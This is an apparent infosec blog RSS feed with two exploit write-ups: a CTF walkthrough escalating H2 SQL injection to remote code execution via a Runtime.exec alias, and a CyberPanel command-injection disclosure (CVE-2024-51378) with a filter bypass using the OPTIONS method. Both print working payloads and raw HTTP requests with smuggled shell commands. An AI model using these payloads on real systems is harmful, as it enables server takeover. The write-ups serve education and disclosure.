<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>refr4g</title><description>infosec blog</description><link>https://attacke.rs/</link><language>en</language><item><title>Escalating H2 SQL Injection to RCE</title><link>https://attacke.rs/posts/h2-sqli-rce/</link><guid isPermaLink="true">https://attacke.rs/posts/h2-sqli-rce/</guid><description>Writeup on one Java Web Challenge that uses H2 db.</description><pubDate>Tue, 12 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Initial&lt;/h2&gt;
&lt;p&gt;When visiting web app we have firstly to register in order to access application.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We&apos;re given note web app, we cannot make new notes or something like that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So let&apos;s dig into source code.&lt;/p&gt;
&lt;h2&gt;Source Code Analysis&lt;/h2&gt;
&lt;p&gt;Web app is written in Java+Spring.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we have 2 controllers, &lt;em&gt;&lt;strong&gt;NotesController&lt;/strong&gt;&lt;/em&gt; REST API, &lt;em&gt;&lt;strong&gt;MainController&lt;/strong&gt;&lt;/em&gt; for user authentication and session management. &lt;em&gt;&lt;strong&gt;PentestNotesApplication&lt;/strong&gt;&lt;/em&gt; main class for running app.&lt;/p&gt;
&lt;h3&gt;NotesController&lt;/h3&gt;
&lt;p&gt;Since &lt;em&gt;&lt;strong&gt;MainController&lt;/strong&gt;&lt;/em&gt; and &lt;em&gt;&lt;strong&gt;PentestNotesApplication&lt;/strong&gt;&lt;/em&gt; don&apos;t have anything interesting, let&apos;s get into &lt;em&gt;&lt;strong&gt;NotesController&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@RestController
@RequestMapping(&quot;/api&quot;)
public class NotesController {
    @Autowired
    private EntityManager entityManager;
    @GetMapping(&quot;/notes&quot;)
    public ResponseEntity &amp;lt; ? &amp;gt; notes(HttpSession httpSession) {
        if (httpSession.getAttribute(&quot;username&quot;) == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(&quot;unauthorized&quot;);
        }
        String query = &quot;Select * from notes&quot;;
        List &amp;lt; Object[] &amp;gt; resultList = entityManager.createNativeQuery(query).getResultList();
        List &amp;lt; Map &amp;lt; String, Object &amp;gt;&amp;gt; result = new ArrayList &amp;lt; &amp;gt; ();
        for (Object[] row: resultList) {
            Map &amp;lt; String, Object &amp;gt; rowMap = new HashMap &amp;lt; &amp;gt; ();
            rowMap.put(&quot;ID&quot;, row[0]);
            rowMap.put(&quot;Note&quot;, row[1]);
            rowMap.put(&quot;Content&quot;, row[2]);
            result.add(rowMap);
        }
        return ResponseEntity.ok(result);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This api endpoint is used in main web page to pull all notes from db and display it on, but nothing much else.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    @PostMapping(&quot;/note&quot;)
    public ResponseEntity &amp;lt; ? &amp;gt; noteByName(@RequestParam String name, HttpSession httpSession) {
        if (httpSession.getAttribute(&quot;username&quot;) == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(&quot;unauthorized&quot;);
        }
        if (name.contains(&quot;$&quot;) || name.toLowerCase().contains(&quot;concat&quot;)) {
            return ResponseEntity.status(HttpStatus.FORBIDDEN).body(&quot;Bad character in name :)&quot;);
        }
        String query = String.format(&quot;Select * from notes where name =&apos;%s&apos; &quot;, name);
        List &amp;lt; Object[] &amp;gt; resultList = entityManager.createNativeQuery(query).getResultList();
        List &amp;lt; Map &amp;lt; String, Object &amp;gt;&amp;gt; result = new ArrayList &amp;lt; &amp;gt; ();
        for (Object[] row: resultList) {
            Map &amp;lt; String, Object &amp;gt; rowMap = new HashMap &amp;lt; &amp;gt; ();
            rowMap.put(&quot;ID&quot;, row[0]);
            rowMap.put(&quot;Name&quot;, row[1]);
            rowMap.put(&quot;Note&quot;, row[2]);
            result.add(rowMap);
        }
        return ResponseEntity.ok(result);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we go, finally something interesting. This api endpoint is used when you access into specific note, and it pulls all info from db (which is H2 if we look into &lt;code&gt;application.properties&lt;/code&gt;) based on the provided &lt;code&gt;name&lt;/code&gt; parameter, filtering notes by this name. It validates input in order to prevent SQL Injection by checking for &lt;code&gt;$&lt;/code&gt; and &lt;code&gt;concat&lt;/code&gt;, and then returns note details. Since we can control &lt;code&gt;name&lt;/code&gt; parameter it seems that we can get SQLi really easy and bypass these checks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reference:&lt;/strong&gt; &lt;a href=&quot;https://www.h2database.com/html/main.html&quot;&gt;H2 SQL Database Website&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    document.addEventListener(&apos;DOMContentLoaded&apos;, function () {
        const urlParams = new URLSearchParams(window.location.search);
        const nameParam = urlParams.get(&apos;name&apos;);

        if (nameParam) {
            const formData = new FormData();
            formData.append(&apos;name&apos;, nameParam);

            fetch(&apos;/api/note&apos;, {
                method: &apos;POST&apos;,
                body: formData
            })
                .then(response =&amp;gt; {
                    if (!response.ok) {
                        throw new Error(&apos;Network response was not ok&apos;);
                    }
                    return response.json(); // Parse response as JSON
                })
                .then(data =&amp;gt; {
                    const checklist = document.getElementById(&apos;checklist&apos;);
                    checklist.innerHTML = &apos;&apos;; // Clear previous content

                    if (data.length === 0) {
                        checklist.innerHTML = &apos;&amp;lt;p&amp;gt;No checklist items available.&amp;lt;/p&amp;gt;&apos;;
                    } else {
                        data.forEach(item =&amp;gt; {
                            const checklistItem = document.createElement(&apos;div&apos;);
                            checklistItem.classList.add(&apos;checklist__item&apos;);

                            const itemTitle = document.createElement(&apos;div&apos;);
                            itemTitle.classList.add(&apos;checklist__item-title&apos;);
                            itemTitle.textContent = `ID: ${item.ID}`;

                            const itemContent = document.createElement(&apos;div&apos;);
                            itemContent.innerHTML = `Name: ${item.Name}&amp;lt;br&amp;gt;Note: ${item.Note}`; // Use innerHTML for line break

                            checklistItem.appendChild(itemTitle);
                            checklistItem.appendChild(itemContent);

                            checklist.appendChild(checklistItem);
                        });
                    }
                })
                .catch(error =&amp;gt; {
                    console.error(&apos;Error fetching note data:&apos;, error);
                });
        } else {
            console.error(&apos;No &quot;name&quot; parameter found in the URL.&apos;);
        }
    });
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is part of the front-end code where we can see that this api is called when we want to access specific note.&lt;/p&gt;
&lt;p&gt;So we can start our exploitation journey.&lt;/p&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;h3&gt;Triggering SQL Injection&lt;/h3&gt;
&lt;p&gt;Firstly, we will intercept request when we are accessing specific note.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like this, just forward this request and front-end will make api request itself which we will intercept.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is request we need. Here we can see &lt;code&gt;name&lt;/code&gt; parameter which is used in SQL query on back-end we discussed before.&lt;/p&gt;
&lt;p&gt;Let&apos;s make some basic testing! We will send &lt;code&gt;something; OR 1=1&lt;/code&gt; to see what will happen.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-6.png&quot; alt=&quot;&quot; /&gt;
Yay! We confirmed SQLi vulnerability.&lt;/p&gt;
&lt;p&gt;But wait... I think we can esacalate this to RCE. Now how can we execute shell commands inside &lt;code&gt;H2&lt;/code&gt; database?&lt;/p&gt;
&lt;h3&gt;Escalating to RCE&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;image-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started to read &lt;code&gt;H2&lt;/code&gt; documentation and stumbled upon here. This means that we can execute Java functions along with SQL query. That is what we need!&lt;/p&gt;
&lt;p&gt;Now, we can make string function which will execute shell command since we have Runtime class built-in which we can use for executing shell commands.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
        System.out.println(rce());
    }

    static String rce() throws java.io.IOException{
        java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec(&quot;ls -la&quot;).getInputStream()).useDelimiter(&quot;\\A&quot;);

        return cmd_output.hasNext() ? cmd_output.next() : &quot;&quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here is the breakdown of our rce java function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Declaring a function &lt;code&gt;rce()&lt;/code&gt; that returns a &lt;code&gt;String&lt;/code&gt; and throws &lt;code&gt;IOException&lt;/code&gt; due to &lt;code&gt;.exec()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;ls -la&lt;/code&gt; (for example) using &lt;code&gt;Runtime.getRuntime().exec()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Setting up a &lt;code&gt;Scanner&lt;/code&gt; to read the &lt;code&gt;InputStream&lt;/code&gt; from the command.&lt;/li&gt;
&lt;li&gt;Using &lt;code&gt;\\A&lt;/code&gt; as a delimiter to capture all output at once.&lt;/li&gt;
&lt;li&gt;Returning the output if available, or an empty string if not.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We&apos;ll need only our &lt;code&gt;rce()&lt;/code&gt; function, this is just example to test around our function on local machine.&lt;/p&gt;
&lt;h3&gt;Assembling together&lt;/h3&gt;
&lt;p&gt;It&apos;s time to build entire SQL query for getting rce!&lt;/p&gt;
&lt;p&gt;Based on &lt;code&gt;H2&lt;/code&gt; documentation we can make an alias with provided Java function and then &lt;code&gt;note&lt;/code&gt; field of e.g. note &lt;code&gt;id=1&lt;/code&gt; update with our command output.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;something&apos; OR 1=1; DROP ALIAS IF EXISTS exec_cmd; CREATE ALIAS exec_cmd AS &apos;String rce() throws java.io.IOException {
    java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec(&quot;id&quot;).getInputStream()).useDelimiter(&quot;\\\\A&quot;);
    return cmd_output.hasNext() ? cmd_output.next() : &quot;&quot;;
}&apos;; UPDATE notes SET note = exec_cmd() WHERE id = 1; --
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At the beggining of the SQL query, we check if alias exists, and if it does we delete it. This approach allows us to reuse the alias name in our payload without needing to change it each time. Since we don&apos;t use &lt;code&gt;concat&lt;/code&gt; or &lt;code&gt;$&lt;/code&gt; in  sql query/payload, this means that bypassing checks i prevously mentioned in source code analysis is successful!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sending payload was successful, now we have to check if the note is updated on the web app.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Hell yeahh, we have RCE!&lt;/p&gt;
&lt;h2&gt;Final Toughts&lt;/h2&gt;
&lt;p&gt;It is easy challenge, but i found it interesting to make a writeup on since not many people around me know about H2 db, and it was interesting to write some custom code in order to get RCE. I know that the writeup is lengthy xD, but i just wanted to cover all steps clearly.&lt;/p&gt;
</content:encoded></item><item><title>Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing</title><link>https://attacke.rs/posts/cyberpanel-command-injection-vulnerability/</link><guid isPermaLink="true">https://attacke.rs/posts/cyberpanel-command-injection-vulnerability/</guid><description>A short story about how I found my first 0day.</description><pubDate>Sat, 26 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Uncovering a Command Injection Vulnerability in CyberPanel: A Fun Journey into Security Testing&lt;/h1&gt;
&lt;p&gt;In the ever-evolving landscape of web applications, security remains a top concern. As an avid user and supporter of open-source projects, I was drawn to CyberPanel, a widely-used control panel for managing web hosting and server environments. Little did I know that my exploration would lead me down a rabbit hole, revealing a critical command injection vulnerability!&lt;/p&gt;
&lt;h2&gt;Setting the Scene: What is CyberPanel?&lt;/h2&gt;
&lt;p&gt;CyberPanel is an open-source web hosting control panel that aims to simplify the management of servers. It&apos;s packed with features, offering everything from file management to SSL management, making it a go-to choice for many developers and system administrators. However, like any powerful tool, it requires vigilance to ensure security measures are robust.&lt;/p&gt;
&lt;h2&gt;The Discovery: Unearthing the Vulnerability&lt;/h2&gt;
&lt;p&gt;While diving into the functionality of CyberPanel, I stumbled upon the &lt;code&gt;/ftp/getresetstatus&lt;/code&gt; endpoint. At first glance, it appeared innocuous enough, handling user requests with ease. However, a closer inspection revealed a critical flaw: this endpoint processes user input from the &lt;code&gt;statusfile&lt;/code&gt; parameter without proper validation or sanitization, creating a tempting opportunity for remote command injection.&lt;/p&gt;
&lt;h2&gt;The Vulnerable Code&lt;/h2&gt;
&lt;p&gt;The vulnerability exists in the &lt;code&gt;/ftp/getresetstatus&lt;/code&gt; endpoint, which processes user input from the &lt;code&gt;statusfile&lt;/code&gt; parameter. The code directly incorporates this input into a shell command without proper validation or access control. Here’s a simplified version of the vulnerable code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def getresetstatus(request):
    data = json.loads(request.body)
    statusfile = data[&apos;statusfile&apos;]
    installStatus = ProcessUtilities.outputExecutioner(&quot;sudo cat &quot; + statusfile)
    ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As illustrated, the &lt;code&gt;statusfile&lt;/code&gt; parameter is directly used in a shell command, creating a significant opportunity for remote command injection. Moreover, this endpoint lacks proper &lt;strong&gt;Access Control Lists (ACLs)&lt;/strong&gt;, leaving it vulnerable to unauthorized access.&lt;/p&gt;
&lt;h3&gt;Step 1: Initial Testing&lt;/h3&gt;
&lt;p&gt;My journey began by testing the &lt;code&gt;/ftp/getresetstatus&lt;/code&gt; endpoint using a POST request. I crafted a request designed to execute the &lt;code&gt;whoami&lt;/code&gt; command, ensuring to include the necessary CSRF token for validation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48

{
    &quot;statusfile&quot;: &quot;; whoami; #&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upon sending the request, the security middleware sprang into action and blocked it, returning the following response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Accept-Language, Cookie
Content-Language: en
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Content-Length: 269
Date: Wed, 23 Oct 2024 10:52:35 GMT
Server: LiteSpeed
Connection: Keep-Alive

{&quot;error_message&quot;: &quot;Data supplied is not accepted, following characters are not allowed in the input ` $ &amp;amp; ( ) [ ] { } ; : \u2018 &amp;lt; &amp;gt;.&quot;, &quot;errorMessage&quot;: &quot;Data supplied is not accepted, following characters are not allowed in the input ` $ &amp;amp; ( ) [ ] { } ; : \u2018 &amp;lt; &amp;gt;.&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The middleware effectively checked for special characters in POST request bodies, but it did &lt;strong&gt;not&lt;/strong&gt; apply the same scrutiny to other HTTP methods. This was the critical insight I needed.&lt;/p&gt;
&lt;h3&gt;Step 2: Analyzing the Security Middleware&lt;/h3&gt;
&lt;p&gt;Curious about the middleware&apos;s behavior, I dug deeper into the source code. The relevant security middleware checks for specific characters in POST request bodies. Here’s a simplified version of the security middleware code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class secMiddleware:
    def __call__(self, request):
        if request.method == &apos;POST&apos;:
            try:
                data = json.loads(request.body)
                for key, value in data.items():
                    # Check for special characters
                    if any(char in value for char in [&apos;;&apos;, &apos;&amp;amp;&apos;, &apos;|&apos;, &apos;`&apos;]):
                        # Log and block the request
                        return HttpResponse(&quot;Invalid input detected.&quot;)
            except Exception as msg:
                # Handle exceptions
                pass
        return self.get_response(request)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The middleware effectively checks for potentially harmful characters in POST requests, but it does &lt;strong&gt;not&lt;/strong&gt; apply the same scrutiny to other HTTP methods. This was the critical insight I needed.&lt;/p&gt;
&lt;h3&gt;Step 3: The Bypass Discovery&lt;/h3&gt;
&lt;p&gt;Realizing that the middleware was not enforcing the same checks for OPTIONS requests, I decided to exploit this oversight. I crafted an OPTIONS request with my malicious payload, ensuring to include all relevant headers just like the POST request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;OPTIONS /ftp/getresetstatus HTTP/1.1
Host: example.com
Content-Type: application/json
Cookie: django_language=en; csrftoken=3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
X-Csrftoken: 3WludTzJtlXhmLiVBRZCzkBPgPUwmQMt
Content-Length: 48

{
    &quot;statusfile&quot;: &quot;; whoami; #&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4: Triggering the Vulnerability&lt;/h3&gt;
&lt;p&gt;To my surprise, the OPTIONS request successfully passed through the security middleware without any validation, executing the command on the server. This allowed me to retrieve sensitive information, and I received the following response confirming the successful exploitation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 1; mode=block
X-Frame-Options: sameorigin
Content-Security-Policy: style-src &apos;self&apos; &apos;unsafe-inline&apos; https://fonts.googleapis.com https://www.jsdelivr.com https://cdnjs.cloudflare.com https://maxcdn.bootstrapcdn.com https://cdn.jsdelivr.net
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Vary: Accept-Language, Cookie
Content-Language: en
Content-Length: 64
Date: Wed, 23 Oct 2024 10:57:29 GMT
Server: LiteSpeed
Connection: Keep-Alive

{&quot;abort&quot;: 0, &quot;error_message&quot;: &quot;None&quot;, &quot;requestStatus&quot;: &quot;root\n&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this response, the &lt;code&gt;requestStatus&lt;/code&gt; indicates that the command was executed with root privileges, highlighting the severity of the vulnerability.&lt;/p&gt;
&lt;h2&gt;Recommendations for Fixing the Vulnerability&lt;/h2&gt;
&lt;p&gt;Having discovered this vulnerability, it’s crucial to act quickly to secure the application. Here are a few recommendations for CyberPanel developers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Implement Input Validation&lt;/strong&gt;: Ensure all user inputs are validated and sanitized before being used in any shell commands.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Utilize Access Control Lists (ACLs)&lt;/strong&gt;: Add ACLs to the &lt;code&gt;/ftp/getresetstatus&lt;/code&gt; endpoint to restrict access and limit exposure to potential exploits.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Review Other Endpoints&lt;/strong&gt;: Conduct a thorough audit of other sensitive endpoints to identify any similar vulnerabilities or missing ACLs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Restrict HTTP Methods&lt;/strong&gt;: Limit the allowed HTTP methods for sensitive endpoints. In particular, restrict the &lt;code&gt;/ftp/getresetstatus&lt;/code&gt; endpoint to only allow POST requests, which should also pass through strict input validation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enhance Security Middleware&lt;/strong&gt;: Update the security middleware to inspect all HTTP methods, including OPTIONS, to ensure no bypassing of security checks is possible.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;PoC: &lt;a href=&quot;https://github.com/refr4g/CVE-2024-51378&quot;&gt;CVE-2024-51378 PoC Repository&lt;/a&gt;&lt;/h2&gt;
&lt;h2&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/em&gt;&lt;/h2&gt;
&lt;h2&gt;&lt;em&gt;&lt;strong&gt;Exact same vulnerability applies to /dns/getresetstatus endpoint.&lt;/strong&gt;&lt;/em&gt;&lt;/h2&gt;
&lt;h2&gt;Conclusion: The Fun in Finding Flaws&lt;/h2&gt;
&lt;p&gt;Finding this vulnerability in CyberPanel was both a challenge and a rewarding experience. It not only honed my skills in security testing but also reminded me of the importance of community in open-source projects. I encourage other developers and security researchers to dive into CyberPanel and similar applications—who knows what hidden gems (or vulnerabilities) you might find!&lt;/p&gt;
&lt;p&gt;Happy testing!&lt;/p&gt;
</content:encoded></item></channel></rss>